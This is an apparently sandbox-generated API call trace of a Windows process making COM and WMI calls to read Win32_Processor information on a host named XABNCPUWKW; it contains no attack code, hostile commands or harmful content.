	[0124.526] CoGetContextToken (in: pToken=0x2de2b0 | out: pToken=0x2de2b0) returned 0x0
	[0124.526] CoGetContextToken (in: pToken=0x2de270 | out: pToken=0x2de270) returned 0x0
	[0124.526] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x2
	[0124.527] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de2ec*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de2e8 | out: ppvObject=0x2de2e8*=0x50ada88) returned 0x0
	[0124.527] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0124.527] WbemDefPath:IWbemPath:GetText (in: This=0x50ada88, lFlags=4, puBuffLength=0x2de470*=0xf, pszText="00000000000000" | out: puBuffLength=0x2de470*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0124.527] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x1
	[0124.531] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2de370*=0x2cc, lpdwindex=0x2de1cc | out: lpdwindex=0x2de1cc) returned 0x0
	[0124.938] CoGetContextToken (in: pToken=0x2de3f4 | out: pToken=0x2de3f4) returned 0x0
	[0124.938] CoGetContextToken (in: pToken=0x2de3a0 | out: pToken=0x2de3a0) returned 0x0
	[0124.938] IUnknown:QueryInterface (in: This=0x757a88, riid=0x6f24beb4*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de374 | out: ppvObject=0x2de374*=0x757a98) returned 0x0
	[0124.938] CObjectContext::ContextCallback () returned 0x0
	[0124.944] IUnknown:Release (This=0x757a98) returned 0x1
	[0124.944] CoUnmarshalInterface (in: pStm=0x7aa688, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x2de3f8 | out: ppv=0x2de3f8*=0x7b48f4) returned 0x0
	[0124.944] CoMarshalInterface (pStm=0x7aa688, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x7b48f4, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0
	[0124.944] IUnknown:QueryInterface (in: This=0x7b48f4, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de018 | out: ppvObject=0x2de018*=0x7b48f4) returned 0x0
	[0124.944] IUnknown:QueryInterface (in: This=0x7b48f4, riid=0x6f1b4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x2ddfd4 | out: ppvObject=0x2ddfd4*=0x0) returned 0x80004002
	[0124.945] IUnknown:QueryInterface (in: This=0x7b48f4, riid=0x6f0e0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x2ddec8 | out: ppvObject=0x2ddec8*=0x0) returned 0x80004002
	[0124.945] IUnknown:AddRef (This=0x7b48f4) returned 0x3
	[0124.945] CoGetContextToken (in: pToken=0x2dde60 | out: pToken=0x2dde60) returned 0x0
	[0124.945] CoGetContextToken (in: pToken=0x2dde24 | out: pToken=0x2dde24) returned 0x0
	[0124.945] IUnknown:QueryInterface (in: This=0x757918, riid=0x6f1b3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2dde58 | out: ppvObject=0x2dde58*=0x757924) returned 0x0
	[0124.945] IComThreadingInfo:GetCurrentApartmentType (in: This=0x757924, pAptType=0x2dde88 | out: pAptType=0x2dde88*=3) returned 0x0
	[0124.945] IUnknown:Release (This=0x757924) returned 0x1
	[0124.945] IUnknown:QueryInterface (in: This=0x7b48f4, riid=0x6f0923cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2dde48 | out: ppvObject=0x2dde48*=0x7b4854) returned 0x0
	[0124.945] IMarshal:GetUnmarshalClass (in: This=0x7b4854, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x2dde50 | out: pCid=0x2dde50*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0124.945] IUnknown:Release (This=0x7b4854) returned 0x3
	[0124.945] CoGetContextToken (in: pToken=0x2dde58 | out: pToken=0x2dde58) returned 0x0
	[0124.946] IUnknown:AddRef (This=0x7b48f4) returned 0x4
	[0124.946] IUnknown:QueryInterface (in: This=0x7b48f4, riid=0x6f0e767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddecc | out: ppvObject=0x2ddecc*=0x7b48dc) returned 0x0
	[0124.946] IUnknown:Release (This=0x7b48f4) returned 0x4
	[0124.946] IRpcOptions:Query (in: This=0x7b48dc, pPrx=0x7b48f4, dwProperty=2, pdwValue=0x2ddef0 | out: pdwValue=0x2ddef0) returned 0x0
	[0124.946] IUnknown:Release (This=0x7b48dc) returned 0x3
	[0124.946] IUnknown:Release (This=0x7b48f4) returned 0x2
	[0124.946] IUnknown:Release (This=0x7b48f4) returned 0x1
	[0124.946] CoGetContextToken (in: pToken=0x2ddeb4 | out: pToken=0x2ddeb4) returned 0x0
	[0124.946] IUnknown:AddRef (This=0x7b48f4) returned 0x2
	[0124.946] IUnknown:QueryInterface (in: This=0x7b48f4, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de158 | out: ppvObject=0x2de158*=0x7b48d4) returned 0x0
	[0124.946] IClientSecurity:QueryBlanket (in: This=0x7b48d4, pProxy=0x7b48f4, pAuthnSvc=0x2de1a0, pAuthzSvc=0x2de19c, pServerPrincName=0x2de1ac, pAuthnLevel=0x2de1a4, pImpLevel=0x2de190, pAuthInfo=0x2de194, pCapabilites=0x2de198 | out: pAuthnSvc=0x2de1a0*=0xa, pAuthzSvc=0x2de19c*=0x0, pServerPrincName=0x2de1ac, pAuthnLevel=0x2de1a4*=0x6, pImpLevel=0x2de190*=0x2, pAuthInfo=0x2de194, pCapabilites=0x2de198*=0x1) returned 0x0
	[0124.946] IUnknown:Release (This=0x7b48d4) returned 0x2
	[0124.946] IUnknown:QueryInterface (in: This=0x7b48f4, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de14c | out: ppvObject=0x2de14c*=0x7b48f4) returned 0x0
	[0124.946] IUnknown:QueryInterface (in: This=0x7b48f4, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de148 | out: ppvObject=0x2de148*=0x7b48d4) returned 0x0
	[0124.946] IClientSecurity:SetBlanket (This=0x7b48d4, pProxy=0x7b48f4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0124.947] IUnknown:Release (This=0x7b48d4) returned 0x3
	[0124.947] IUnknown:Release (This=0x7b48f4) returned 0x2
	[0124.947] CoTaskMemFree (pv=0x7904a0) 
	[0124.947] IUnknown:Release (This=0x7b48f4) returned 0x1
	[0124.951] CoGetContextToken (in: pToken=0x2de2d4 | out: pToken=0x2de2d4) returned 0x0
	[0124.951] CoGetContextToken (in: pToken=0x2de294 | out: pToken=0x2de294) returned 0x0
	[0124.951] IUnknown:AddRef (This=0x7b48f4) returned 0x2
	[0124.951] IUnknown:QueryInterface (in: This=0x7b48f4, riid=0x2de310*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x2de30c | out: ppvObject=0x2de30c*=0x50adc64) returned 0x0
	[0124.951] IUnknown:Release (This=0x7b48f4) returned 0x2
	[0124.952] IUnknown:Release (This=0x50adc64) returned 0x1
	[0124.952] CoGetContextToken (in: pToken=0x2dde68 | out: pToken=0x2dde68) returned 0x0
	[0124.952] CoGetContextToken (in: pToken=0x2dde28 | out: pToken=0x2dde28) returned 0x0
	[0124.952] IUnknown:AddRef (This=0x7b48f4) returned 0x2
	[0124.952] IUnknown:QueryInterface (in: This=0x7b48f4, riid=0x2ddea4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x2ddea0 | out: ppvObject=0x2ddea0*=0x50adc64) returned 0x0
	[0124.952] IUnknown:Release (This=0x7b48f4) returned 0x2
	[0124.952] IUnknown:AddRef (This=0x50adc64) returned 0x3
	[0124.952] IUnknown:QueryInterface (in: This=0x50adc64, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de158 | out: ppvObject=0x2de158*=0x7b48d4) returned 0x0
	[0124.952] IClientSecurity:QueryBlanket (in: This=0x7b48d4, pProxy=0x50adc64, pAuthnSvc=0x2de1a0, pAuthzSvc=0x2de19c, pServerPrincName=0x2de1ac, pAuthnLevel=0x2de1a4, pImpLevel=0x2de190, pAuthInfo=0x2de194, pCapabilites=0x2de198 | out: pAuthnSvc=0x2de1a0*=0xa, pAuthzSvc=0x2de19c*=0x0, pServerPrincName=0x2de1ac, pAuthnLevel=0x2de1a4*=0x6, pImpLevel=0x2de190*=0x2, pAuthInfo=0x2de194, pCapabilites=0x2de198*=0x1) returned 0x0
	[0124.952] IUnknown:Release (This=0x7b48d4) returned 0x3
	[0124.952] IUnknown:QueryInterface (in: This=0x50adc64, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de14c | out: ppvObject=0x2de14c*=0x7b48f4) returned 0x0
	[0124.952] IUnknown:QueryInterface (in: This=0x50adc64, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de148 | out: ppvObject=0x2de148*=0x7b48d4) returned 0x0
	[0124.952] IClientSecurity:SetBlanket (This=0x7b48d4, pProxy=0x50adc64, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0124.952] IUnknown:Release (This=0x7b48d4) returned 0x4
	[0124.952] IUnknown:Release (This=0x7b48f4) returned 0x3
	[0124.952] CoTaskMemFree (pv=0x7905f0) 
	[0124.953] IUnknown:Release (This=0x50adc64) returned 0x2
	[0124.953] SysStringLen (param_1=0x0) returned 0x0
	[0124.953] GetLastError () returned 0x0
	[0124.953] CoGetContextToken (in: pToken=0x2de2d8 | out: pToken=0x2de2d8) returned 0x0
	[0124.953] CoGetContextToken (in: pToken=0x2de298 | out: pToken=0x2de298) returned 0x0
	[0124.953] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x3
	[0124.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de314*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de310 | out: ppvObject=0x2de310*=0x50ada88) returned 0x0
	[0124.953] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x3
	[0124.953] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x50ada88, puCount=0x2de48c | out: puCount=0x2de48c*=0x2) returned 0x0
	[0124.953] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0124.953] CoGetContextToken (in: pToken=0x2de2c8 | out: pToken=0x2de2c8) returned 0x0
	[0124.953] CoGetContextToken (in: pToken=0x2de288 | out: pToken=0x2de288) returned 0x0
	[0124.953] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x3
	[0124.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de304*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de300 | out: ppvObject=0x2de300*=0x50ada88) returned 0x0
	[0124.953] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x3
	[0124.953] WbemDefPath:IWbemPath:GetText (in: This=0x50ada88, lFlags=4, puBuffLength=0x2de488*=0x0, pszText=0x0 | out: puBuffLength=0x2de488*=0xf, pszText=0x0) returned 0x0
	[0124.953] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0124.954] CoGetContextToken (in: pToken=0x2de2c8 | out: pToken=0x2de2c8) returned 0x0
	[0124.954] CoGetContextToken (in: pToken=0x2de288 | out: pToken=0x2de288) returned 0x0
	[0124.954] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x3
	[0124.954] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de304*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de300 | out: ppvObject=0x2de300*=0x50ada88) returned 0x0
	[0124.954] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x3
	[0124.954] WbemDefPath:IWbemPath:GetText (in: This=0x50ada88, lFlags=4, puBuffLength=0x2de488*=0xf, pszText="00000000000000" | out: puBuffLength=0x2de488*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0124.954] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0124.954] CoGetContextToken (in: pToken=0x2de364 | out: pToken=0x2de364) returned 0x0
	[0124.954] CoUnmarshalInterface (in: pStm=0x7aa688, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x2de368 | out: ppv=0x2de368*=0x7b48f4) returned 0x0
	[0124.954] CoMarshalInterface (pStm=0x7aa688, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x7b48f4, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0
	[0124.955] IUnknown:QueryInterface (in: This=0x7b48f4, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddf88 | out: ppvObject=0x2ddf88*=0x7b48f4) returned 0x0
	[0124.955] IUnknown:Release (This=0x7b48f4) returned 0x3
	[0124.955] IUnknown:Release (This=0x7b48f4) returned 0x2
	[0124.955] CoGetContextToken (in: pToken=0x2dde24 | out: pToken=0x2dde24) returned 0x0
	[0124.955] IUnknown:AddRef (This=0x7b48f4) returned 0x3
	[0124.955] IUnknown:QueryInterface (in: This=0x7b48f4, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de0c8 | out: ppvObject=0x2de0c8*=0x7b48d4) returned 0x0
	[0124.955] IClientSecurity:QueryBlanket (in: This=0x7b48d4, pProxy=0x7b48f4, pAuthnSvc=0x2de110, pAuthzSvc=0x2de10c, pServerPrincName=0x2de11c, pAuthnLevel=0x2de114, pImpLevel=0x2de100, pAuthInfo=0x2de104, pCapabilites=0x2de108 | out: pAuthnSvc=0x2de110*=0xa, pAuthzSvc=0x2de10c*=0x0, pServerPrincName=0x2de11c, pAuthnLevel=0x2de114*=0x6, pImpLevel=0x2de100*=0x3, pAuthInfo=0x2de104, pCapabilites=0x2de108*=0x20) returned 0x0
	[0124.956] IUnknown:Release (This=0x7b48d4) returned 0x3
	[0124.956] IUnknown:QueryInterface (in: This=0x7b48f4, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de0bc | out: ppvObject=0x2de0bc*=0x7b48f4) returned 0x0
	[0124.956] IUnknown:QueryInterface (in: This=0x7b48f4, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de0b8 | out: ppvObject=0x2de0b8*=0x7b48d4) returned 0x0
	[0124.956] IClientSecurity:SetBlanket (This=0x7b48d4, pProxy=0x7b48f4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0124.956] IUnknown:Release (This=0x7b48d4) returned 0x4
	[0124.956] IUnknown:Release (This=0x7b48f4) returned 0x3
	[0124.956] IUnknown:Release (This=0x7b48f4) returned 0x2
	[0124.956] SysStringLen (param_1=0x0) returned 0x0
	[0124.956] GetLastError () returned 0x0
	[0124.956] CoGetContextToken (in: pToken=0x2de244 | out: pToken=0x2de244) returned 0x0
	[0124.956] IUnknown:AddRef (This=0x50adc64) returned 0x3
	[0124.956] IUnknown:Release (This=0x50adc64) returned 0x2
	[0124.956] CoGetContextToken (in: pToken=0x2dddd8 | out: pToken=0x2dddd8) returned 0x0
	[0124.956] IUnknown:AddRef (This=0x50adc64) returned 0x3
	[0124.956] IUnknown:QueryInterface (in: This=0x50adc64, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de0c8 | out: ppvObject=0x2de0c8*=0x7b48d4) returned 0x0
	[0124.957] IClientSecurity:QueryBlanket (in: This=0x7b48d4, pProxy=0x50adc64, pAuthnSvc=0x2de110, pAuthzSvc=0x2de10c, pServerPrincName=0x2de11c, pAuthnLevel=0x2de114, pImpLevel=0x2de100, pAuthInfo=0x2de104, pCapabilites=0x2de108 | out: pAuthnSvc=0x2de110*=0xa, pAuthzSvc=0x2de10c*=0x0, pServerPrincName=0x2de11c, pAuthnLevel=0x2de114*=0x6, pImpLevel=0x2de100*=0x3, pAuthInfo=0x2de104, pCapabilites=0x2de108*=0x20) returned 0x0
	[0124.957] IUnknown:Release (This=0x7b48d4) returned 0x3
	[0124.957] IUnknown:QueryInterface (in: This=0x50adc64, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de0bc | out: ppvObject=0x2de0bc*=0x7b48f4) returned 0x0
	[0124.957] IUnknown:QueryInterface (in: This=0x50adc64, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de0b8 | out: ppvObject=0x2de0b8*=0x7b48d4) returned 0x0
	[0124.957] IClientSecurity:SetBlanket (This=0x7b48d4, pProxy=0x50adc64, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0124.957] IUnknown:Release (This=0x7b48d4) returned 0x4
	[0124.957] IUnknown:Release (This=0x7b48f4) returned 0x3
	[0124.957] IUnknown:Release (This=0x50adc64) returned 0x2
	[0124.957] SysStringLen (param_1=0x0) returned 0x0
	[0124.957] GetLastError () returned 0x0
	[0124.957] CoGetContextToken (in: pToken=0x2de2d0 | out: pToken=0x2de2d0) returned 0x0
	[0124.957] CoGetContextToken (in: pToken=0x2de290 | out: pToken=0x2de290) returned 0x0
	[0124.957] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.957] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de30c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de308 | out: ppvObject=0x2de308*=0x50afcf8) returned 0x0
	[0124.957] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.957] WbemDefPath:IWbemPath:GetText (in: This=0x50afcf8, lFlags=2, puBuffLength=0x2de490*=0x0, pszText=0x0 | out: puBuffLength=0x2de490*=0x10, pszText=0x0) returned 0x0
	[0124.957] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.958] CoGetContextToken (in: pToken=0x2de2d0 | out: pToken=0x2de2d0) returned 0x0
	[0124.958] CoGetContextToken (in: pToken=0x2de290 | out: pToken=0x2de290) returned 0x0
	[0124.958] WbemDefPath:IUnknown:AddRef (This=0x50afcf8) returned 0x2
	[0124.958] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afcf8, riid=0x2de30c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de308 | out: ppvObject=0x2de308*=0x50afcf8) returned 0x0
	[0124.958] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x2
	[0124.958] WbemDefPath:IWbemPath:GetText (in: This=0x50afcf8, lFlags=2, puBuffLength=0x2de490*=0x10, pszText="000000000000000" | out: puBuffLength=0x2de490*=0x10, pszText="win32_processor") returned 0x0
	[0124.958] WbemDefPath:IUnknown:Release (This=0x50afcf8) returned 0x1
	[0124.961] CoGetContextToken (in: pToken=0x2de0cc | out: pToken=0x2de0cc) returned 0x0
	[0124.961] IUnknown:AddRef (This=0x50adc64) returned 0x3
	[0124.961] IWbemServices:GetObject (in: This=0x50adc64, strObjectPath="win32_processor", lFlags=0, pCtx=0x0, ppObject=0x2de240*=0x0, ppCallResult=0x0 | out: ppObject=0x2de240*=0x50b4708, ppCallResult=0x0) returned 0x0
	[0124.965] IUnknown:Release (This=0x50adc64) returned 0x2
	[0124.967] IWbemClassObject:Get (in: This=0x50b4708, wszName="__PATH", lFlags=0, pVal=0x2de3f4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2de4d8*=0, plFlavor=0x2de4d4*=0 | out: pVal=0x2de3f4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XABNCPUWKW\\ROOT\\CIMV2:Win32_Processor", varVal2=0x0), pType=0x2de4d8*=8, plFlavor=0x2de4d4*=64) returned 0x0
	[0124.967] SysStringLen (param_1="\\\\XABNCPUWKW\\ROOT\\CIMV2:Win32_Processor") returned 0x27
	[0124.967] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x300
	[0124.967] GetLastError () returned 0x0
	[0124.967] SetEvent (hEvent=0x27c) returned 1
	[0124.967] GetLastError () returned 0x0
	[0124.967] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2de3f0*=0x300, lpdwindex=0x2de1a8 | out: lpdwindex=0x2de1a8) returned 0x0
	[0124.969] CoGetContextToken (in: pToken=0x2de240 | out: pToken=0x2de240) returned 0x0
	[0124.969] CoGetContextToken (in: pToken=0x2de200 | out: pToken=0x2de200) returned 0x0
	[0124.969] WbemDefPath:IUnknown:AddRef (This=0x50b4900) returned 0x2
	[0124.969] WbemDefPath:IUnknown:QueryInterface (in: This=0x50b4900, riid=0x2de27c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de278 | out: ppvObject=0x2de278*=0x50b4900) returned 0x0
	[0124.970] WbemDefPath:IUnknown:Release (This=0x50b4900) returned 0x2
	[0124.970] WbemDefPath:IUnknown:Release (This=0x50b4900) returned 0x1
	[0124.970] CoGetContextToken (in: pToken=0x2de2c0 | out: pToken=0x2de2c0) returned 0x0
	[0124.970] CoGetContextToken (in: pToken=0x2de280 | out: pToken=0x2de280) returned 0x0
	[0124.970] WbemDefPath:IUnknown:AddRef (This=0x50b4900) returned 0x2
	[0124.970] WbemDefPath:IUnknown:QueryInterface (in: This=0x50b4900, riid=0x2de2fc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de2f8 | out: ppvObject=0x2de2f8*=0x50b4900) returned 0x0
	[0124.970] WbemDefPath:IUnknown:Release (This=0x50b4900) returned 0x2
	[0124.970] WbemDefPath:IWbemPath:SetText (This=0x50b4900, uMode=0x4, pszPath="\\\\XABNCPUWKW\\ROOT\\CIMV2:Win32_Processor") returned 0x0
	[0124.970] WbemDefPath:IUnknown:Release (This=0x50b4900) returned 0x1
	[0124.970] IWbemClassObject:Get (in: This=0x50b4708, wszName="__CLASS", lFlags=0, pVal=0x2de46c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2de520*=0, plFlavor=0x2de51c*=0 | out: pVal=0x2de46c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Processor", varVal2=0x0), pType=0x2de520*=8, plFlavor=0x2de51c*=64) returned 0x0
	[0124.970] SysStringLen (param_1="Win32_Processor") returned 0xf
	[0124.970] CoGetContextToken (in: pToken=0x2ddd04 | out: pToken=0x2ddd04) returned 0x0
	[0124.970] IUnknown:AddRef (This=0x50adc64) returned 0x3
	[0124.970] IWbemServices:CreateInstanceEnum (in: This=0x50adc64, strFilter="Win32_Processor", lFlags=17, pCtx=0x0, ppEnum=0x2de344 | out: ppEnum=0x2de344*=0x50b4b5c) returned 0x0
	[0124.988] IUnknown:QueryInterface (in: This=0x50b4b5c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddff4 | out: ppvObject=0x2ddff4*=0x50b4b60) returned 0x0
